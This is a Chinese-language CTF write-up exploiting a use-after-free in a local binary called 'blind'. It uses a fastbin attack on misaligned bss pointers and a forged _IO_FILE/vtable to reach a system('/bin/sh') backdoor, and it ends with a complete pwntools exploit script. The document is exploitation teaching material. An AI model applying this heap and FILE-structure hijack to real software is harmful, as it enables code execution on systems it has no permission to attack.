0x00 代码分析
1,检查保护
1
2
3
4
5
6
[*] '/home/b0ldfrev/Pwn/blind'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
2,使用IDA分析程序流程
main 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_400882(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
sub_4008F4();
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v3 = atoi(&s);
if ( v3 != 2 )
break;
sub_400A80(&s, &s);
}
if ( v3 == 3 )
{
sub_400B41(&s, &s);
}
else
{
if ( v3 != 1 )
exit(0);
sub_4009A7(&s, &s);
}
}
}
程序只有三个功能:
1
2
3
1.new
2.change
3.release
new 函数分析
0x68 Fastbin的chunk,应该与fastbin_attack有关
change 函数分析
其中sub_400932
函数代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400932(__int64 a1, unsigned int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 || i == a2 - 1 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
经分析,它是逐字节读入,且无溢出
release 函数分析
释放的指针未清零,UAF漏洞
0x01 漏洞分析
add函数申请的都是fastbin chunk ,程序无法泄露libc基地址,只能在堆块中寻找利用方法。
由于在mian函数的sub_400882
调用了setvbuf,设置了stdin,stdout,stderr缓冲模式
1
2
3
4
5
6
int sub_400882()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
所以在bss段首存在stdin,stderr,stdout 结构体指针,地址高位的0x7f可错位利用。
明显的UAF,改chunk的fd实现往bss段任意地址写;
在标准I/O库中,每个程序启动时有三个文件流是自动打开的,调用setvbuf后,系统自动会填充在bss段,那就是 stdin,stderr,stdout_IO_FILE
结构体的指针。
且FIEL结构体指针在&ptr地址上面,任意地址写的话,就往ptr里面以0x68为间隔,写连续的mem空间地址,以便在bss段伪造_IO_FILE
结构与vtable
结构。然后还要往bss段首,也就是FILE *stdout
指针的地方写入伪造的FILE结构地址,修改文件流的指针,使其指向伪造的_IO_FILE
结构体。
发现程序里面留有一个后门函数:
1
2
3
4
int sub_4008E3()
{
return system("/bin/sh");
}
可往vtable相关函数写。
0X02 IO_FILE 介绍
printf和puts是常用的输出函数,在printf的参数是以’\n’结束的纯字符串时,printf会被优化为puts函数并去除换行符。
puts在源码中实现的函数是_IO_puts,这个函数的操作与fwrite的流程大致相同,函数内部同样会调用vtable中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口write函数。
printf的调用同样是通过_IO_xsputn实现
0x03 vprintf 部分源码解析
print函数里面会调用vprint,贴上ida的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall vfprintf(__int64 fp, const char *a2, __int64 *a3){
// fp=(_IO_FILE*)stdin
v3 = fp->_mode;
if ( v3 )
{
if ( v3 != -1 )
return 0xFFFFFFFFLL;
}
else
{
fp->_mode = -1;
}
v4 = fp->_flags;
if ( fp->_flags & 8 )
{
LODWORD(fp->_flags) = v4 | 0x20;
errno = 9;
return 0xFFFFFFFFLL;
}
if ( !a2 )
{
errno = 22;
return 0xFFFFFFFFLL;
}
v5 = a3;
v6 = a2;
v7 = fp;
if ( v4 & 2 )
return sub_4FE60();
v8 = *a3;
LODWORD(v223) = fp->_flags;
v9 = 0;
v235 = v8;
v236 = a3[1];
v237 = a3[2];
v10 = strchrnul(a2, 37LL);
v226 = (_BYTE *)v10;
if ( !(v223 & 0x8000) )
{
v9 = dword_3C9730;
if ( dword_3C9730 )
{
((void (__fastcall *)(__int64 (__fastcall **)(), __int64 (__fastcall *)(), _IO_FILE *))(__readfsqword(0x30u) ^ __ROR8__(qword_3C96F0, 17)))(
&v238,
funlockfile,
fp);
if ( fp->_flags & 0x8000 )
goto LABEL_7;
}
凡是出现return的地方我们都得绕过,这样才能使程序流程跳转到LABEL_7
然后
1
2
3
4
5
6
7
LABEL_7:
v11 = *(_QWORD *)(fp->vtable); //取IO_jump_t *vtable
v12 = (__int64)v6;
v223 = v10 - (_QWORD)v6;
v13 = (*(__int64 (__fastcall **)(__int64, const char *, __int64))(v11 + 56))(fp, v6,
/* v11 + 56是取vtable虚表里面的函数指针_IO_sputn 并调用 */
v10 - (_QWORD)v6);
所以综上。有些地方不用绕过,但有些地方必须使其验证通过
所以伪造的IO_FILE_plu
s结构体中的flags要满足下面的条件
1
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
在最开始验证的地方(_IO_FILE*)fp->_mode
处要填为 0 或 -1(0xff)
0x04 漏洞利用
stdin,stdout,stderr地址都是以0x7f开头,可以通过错位实现fastbin_attack劫持。
1
2
pwndbg> x/2xg 0x60201d
0x60201d: 0xfff7dd4400000000 0x000000000000007f
错位出一个 fastbin_index = 5 的chunk头,我们在两次申请两次释放后就可以编辑fd为0x60201d;
1
2
3
4
5
6
new(0,'aaaa')
new(1,'bbbb')
release(0)
release(1)
change(1,p64(0x60201d) + '\n')
这里我们已经控制了mem为0x60202d的地址
1
2
3
4
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)
'aaa' + 'a'*0x30
对齐到0x602060,这是&ptr所在的地址,存有已经malloc的mem空间.
我们修改ptr的5个指针指向任意地址,ptr[0]指向stdout,prt[1-4]指向了bss上的一块连续内存用来伪造io_file和vtable.即伪造的_IO_FILE_PLUS
在0x602090处, vtale 在 0x602090 + 0x68*3 = 0x6021c8 处。伪造的FILE如图:
伪造的vtable在 7*8 偏移处 xsputn 填上后门函数地址,这样执行printf时,调用_IO_xsputn
查虚表时,就拿下shell。
0x05 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = 'debug'
p = process('./blind')
def new(index,content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
def change(index,content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(content)
def release(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
def g():
gdb.attach(p)
raw_input()
new(0,'aaaa')
new(1,'bbbb')
release(0)
release(1)
change(1,p64(0x60201d) + '\n')
new(3,'aaaa')
system_addr = 0x4008e3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)
payload = p64(0x00000000fbad8000) + p64(0x602060)*7
payload += p64(0x602061) + p64(0)*4
change(1,payload)
payload = p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0)
payload += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060)
payload += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)
change(2,payload)
payload = p64(0) + p64(0x602090 + 0x68*3) + '\n'
change(3,payload)
payload = 'a'*56 + p64(system_addr) + '\n'
change(4,payload)
payload = p64(0x602090) + '\n'
change(0,payload)
p.interactive()
0x06 总结
这个程序巧妙之处在于,刚好申请的0x68的fastbin内存,能利用bss段指向libc的FILE指针的0x7f开头地址,造成fastbin_attack,实现任意地址写。能够控制ptr指针,在bss段伪造IO_FILE
结构就不在话下。